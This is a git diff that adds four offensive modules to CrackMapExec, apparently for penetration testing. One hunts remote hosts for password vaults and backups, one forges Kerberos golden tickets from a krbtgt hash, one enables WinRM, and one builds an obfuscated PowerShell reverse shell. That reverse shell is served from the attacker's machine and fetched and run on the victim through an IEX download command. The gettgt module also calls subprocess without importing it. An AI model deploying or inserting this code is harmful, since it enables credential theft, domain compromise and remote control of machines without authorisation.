diff --git a/cme/modules/file_discovery.py b/cme/modules/file_discovery.py new file mode 100644 index 000000000..4fe602945 --- /dev/null +++ b/cme/modules/file_discovery.py @@ -0,0 +1,109 @@ +from csv import reader + +class CMEModule: + """ + Search for interesting files in a specified directory + + Module by Eric Labrador + """ + + name = 'file_discovery' + description = "Search for .sql files in a specified directory." + supported_protocols = ['smb'] + opsec_safe = True # only legitimate commands are executed on the remote host (search process and files) + multiple_hosts = True + + def __init__(self): + self.search_path = '' + + def options(self, context, module_options): + """ + SEARCH_PATH Remote location where to search for .sql files (you must add single quotes around the path if it includes spaces) + Required option + """ + + if 'SEARCH_PATH' in module_options: + self.search_path = module_options['SEARCH_PATH'] + else: + context.log.error('SEARCH_PATH is a required option') + + def on_admin_login(self, context, connection): + # search for .sql files + search_sql_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.sql -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_sql_files_cmd = 'powershell.exe "{}"'.format(search_sql_files_payload) + search_sql_files_output = connection.execute(search_sql_files_cmd, True).split("\r\n") + found = False + for file in search_sql_files_output: + if '.sql' in file: + found = True + context.log.highlight('Found .sql file: {}'.format(file)) + + # search for .kdbx files + search_kdbx_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.kdbx -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_kdbx_files_cmd = 'powershell.exe "{}"'.format(search_kdbx_files_payload) + search_kdbx_files_output = connection.execute(search_kdbx_files_cmd, True).split("\r\n") + found = False + for file in search_kdbx_files_output: + if '.kdbx' in file: + found = True + context.log.highlight('Found .kdbx file: {}'.format(file)) + + # search for .txt files + search_txt_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.txt -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_txt_files_cmd = 'powershell.exe "{}"'.format(search_txt_files_payload) + search_txt_files_output = connection.execute(search_txt_files_cmd, True).split("\r\n") + found = False + for file in search_txt_files_output: + if '.txt' in file: + found = True + context.log.highlight('Found .txt file: {}'.format(file)) + + # search for .bak files + search_bak_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.bak -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_bak_files_cmd = 'powershell.exe "{}"'.format(search_bak_files_payload) + search_bak_files_output = connection.execute(search_bak_files_cmd, True).split("\r\n") + found = False + for file in search_bak_files_output: + if '.bak' in file: + found = True + context.log.highlight('Found .bak file: {}'.format(file)) + + # search for .tar files + search_tar_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.tar -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_tar_files_cmd = 'powershell.exe "{}"'.format(search_tar_files_payload) + search_tar_files_output = connection.execute(search_tar_files_cmd, True).split("\r\n") + found = False + for file in search_tar_files_output: + if '.tar' in file: + found = True + context.log.highlight('Found .tar file: {}'.format(file)) + + # search for .zip files + search_zip_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.zip -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_zip_files_cmd = 'powershell.exe "{}"'.format(search_zip_files_payload) + search_zip_files_output = connection.execute(search_zip_files_cmd, True).split("\r\n") + found = False + for file in search_zip_files_output: + if '.zip' in file: + found = True + context.log.highlight('Found .zip file: {}'.format(file)) + + # search for .rar files + search_rar_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.rar -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_rar_files_cmd = 'powershell.exe "{}"'.format(search_rar_files_payload) + search_rar_files_output = connection.execute(search_rar_files_cmd, True).split("\r\n") + found = False + for file in search_rar_files_output: + if '.rar' in file: + found = True + context.log.highlight('Found .rar file: {}'.format(file)) + + # search for .7z files + search_7z_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.7z -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) + search_7z_files_cmd = 'powershell.exe "{}"'.format(search_7z_files_payload) + search_7z_files_output = connection.execute(search_7z_files_cmd, True).split("\r\n") + found = False + for file in search_7z_files_output: + if '.7z' in file: + found = True + context.log.highlight('Found .7z file: {}'.format(file)) \ No newline at end of file diff --git a/cme/modules/gettgt.py b/cme/modules/gettgt.py new file mode 100644 index 000000000..a5beaf61e --- /dev/null +++ b/cme/modules/gettgt.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# gettgt module for CME python3 +# author of the module : github.com/e1abrador +# Ticketer: https://github.com/fortra/impacket/blob/master/examples/ticketer.py + + +import os + +class CMEModule: + name = "gettgt" + description = "Remotely generate a TGT for any user via krbtgt account." + supported_protocols = ["smb"] + opsec_safe= True + multiple_hosts = True + + def options(self, context, module_options): + ''' + TARGET_USER // Target user to generate the TGT. + KRBTGT_NTLM // NTLM Hash for krbtgt user. + ''' + + if "TARGET_USER" in module_options: + self.target_user = module_options["TARGET_USER"] + + if "KRBTGT_NTLM" in module_options: + self.krbtgt_ntlm = module_options["KRBTGT_NTLM"] + + def on_admin_login(self, context, connection): + + domain = connection.domain + username = connection.username + host = connection.host + nthash = getattr(connection, "nthash", "") + hostname = connection.hostname + + repo_url = "https://github.com/SecureAuthCorp/impacket" + repo_path = "/opt/impacket" + + if not os.path.exists(repo_path): + subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + cmd = ["python3", f"{repo_path}/setup.py", "install"] + subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + tgt_file = self.target_user + ".ccache" + + if os.path.isfile(tgt_file): + context.log.error(f"{highlight(tgt_file)} exists in the current directory. The TGT won't be requested.") + else: + # Extract the SID needed to get the TGT + check_sid = 'powershell.exe -c "(Get-ADDomain).DomainSID.Value"' + data = connection.execute(check_sid, True, methods=["smbexec"]).splitlines() + sid = data[0] + context.log.info("Trying to get the SID of the domain...") + context.log.success("Domain SID successfuly extracted: " + sid) + context.log.info(f"Requesting a TGT for user {highlight(self.target_user)}.") + os.system(f"ticketer.py -nthash {self.krbtgt_ntlm} -domain-sid {sid} -domain {domain} {self.target_user} >/dev/null 2>&1") + if os.path.isfile(tgt_file): + context.log.success(f"Successfuly dumped the TGT to {highlight(tgt_file)}.") + else: + context.log.error(f"It was not possible to get a TGT for {self.target_user}.") diff --git a/cme/modules/revshell.py b/cme/modules/revshell.py new file mode 100644 index 000000000..0594129fb --- /dev/null +++ b/cme/modules/revshell.py @@ -0,0 +1,79 @@ +import os +import time +import subprocess + +class CMEModule: + """ + Create a reverse shell + + Module by Eric Labrador + """ + + name = 'reverse_shell' + description = "Create a reverse shell." + supported_protocols = ['smb'] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.lhost = '' + + def options(self, context, module_options): + """ + LHOST Local IP address to connect the reverse shell to + Required option + LPORT Local Port to connect the reverse shell to + Required option + HTTP_SERVER Local Port to start the http server + Required option + """ + + if 'LHOST' in module_options: + self.lhost = module_options['LHOST'] + else: + context.log.error('LHOST is a required option') + if 'LPORT' in module_options: + self.lport = module_options['LPORT'] + else: + context.log.error('LPORT is a required option') + if 'HTTP_SERVER' in module_options: + self.http_port = module_options['HTTP_SERVER'] + else: + context.log.error('HTTP_SERVER is a required option') + + + def on_admin_login(self, context, connection): + context.log.info('Run the following command "nc -lvnp ' + self.lport + '" to receive the reverse shell.') + revshell1 = "$KLK = New-Object System.Net.Sockets.TCPClient('" + self.lhost + "','" + self.lport + "');" + revshell2 = "$PLP = $KLK.GetStream();" + revshell3 = "[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};" + revshell5 = "$VVCCA = ([text.encoding]::UTF8).GetBytes('Succesfuly connected .`n`n')" + revshell6 = "$PLP.Write($VVCCA,0,$VVCCA.Length)" + revshell7 = "$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ')" + revshell8 = "$PLP.Write($VVCCA,0,$VVCCA.Length)" + revshell9 = "[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};" + revshell10 = "while(($A = $PLP.Read($VVCCA, 0, $VVCCA.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($VVCCA,0, $A);" + revshell11 = "$VZZS = (i`eX $DD 2>&1 | Out-String );" + revshell12 = "$HHHHHH = $VZZS + (pwd).Path + '! ';" + revshell13 = "$L = ([text.encoding]::UTF8).GetBytes($HHHHHH);" + revshell14 = "$PLP.Write($L,0,$L.Length);" + revshell15 = "$PLP.Flush()};" + revshell16 = "$KLK.Close()" + + file = open("helloAV.ps1" ,"w") + file.write(revshell1 + "\n" + revshell2 + "\n" + revshell3 + "\n" + revshell5 + "\n" + revshell6 + "\n" + revshell7 + "\n" + revshell8 + "\n" + revshell9 + "\n" + revshell10 + "\n" + revshell11 + "\n" + revshell12 + "\n" + revshell13 + "\n" + revshell14 + "\n" + revshell15 + "\n" + revshell16) + file.close() + + subprocess.Popen("python3 -m http.server " + self.http_port + " &", shell=True, + stdout=subprocess.PIPE,stdin=subprocess.PIPE, stderr=subprocess.PIPE) + + time.sleep(7) + + reverse_shell_command = "powershell.exe IEX(New-Object Net.WebClient).downloadString('http://" + self.lhost + ":" + self.http_port + "/helloAV.ps1')" + connection.execute(reverse_shell_command, False) + context.log.success('Reverse shell payload executed.') + + time.sleep(2) + + os.system("pkill -f http.server") + os.system("rm -r helloAV.ps1") \ No newline at end of file diff --git a/cme/modules/winrm.py b/cme/modules/winrm.py new file mode 100644 index 000000000..c9c28ecb7 --- /dev/null +++ b/cme/modules/winrm.py @@ -0,0 +1,35 @@ +class CMEModule: + """ + Enable/Disable WinRM service + Module by Eric Labrador + """ + name = 'winrm' + description = 'Enable/Disable WinRM service' + supported_protocols = ['smb'] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + ''' + ACTION Enable/Disable WinRM service (choices: enable, disable) + ''' + + if not 'ACTION' in module_options: + context.log.error('ACTION option not specified!') + exit(1) + + if module_options['ACTION'].lower() not in ['enable', 'disable']: + context.log.error('Invalid value for ACTION option!') + exit(1) + + self.action = module_options['ACTION'].lower() + + def on_admin_login(self, context, connection): + if self.action == 'enable': + enable_winrm_command = 'powershell.exe "Enable-PSRemoting -Force"' + connection.execute(enable_winrm_command, True).split("\r\n") + context.log.highlight('WinRM enabled successfully') + elif self.action == 'disable': + disable_winrm_command = 'powershell.exe "Stop-Service WinRM"' + connection.execute(disable_winrm_command, True).split("\r\n") + context.log.highlight('WinRM disabled successfully')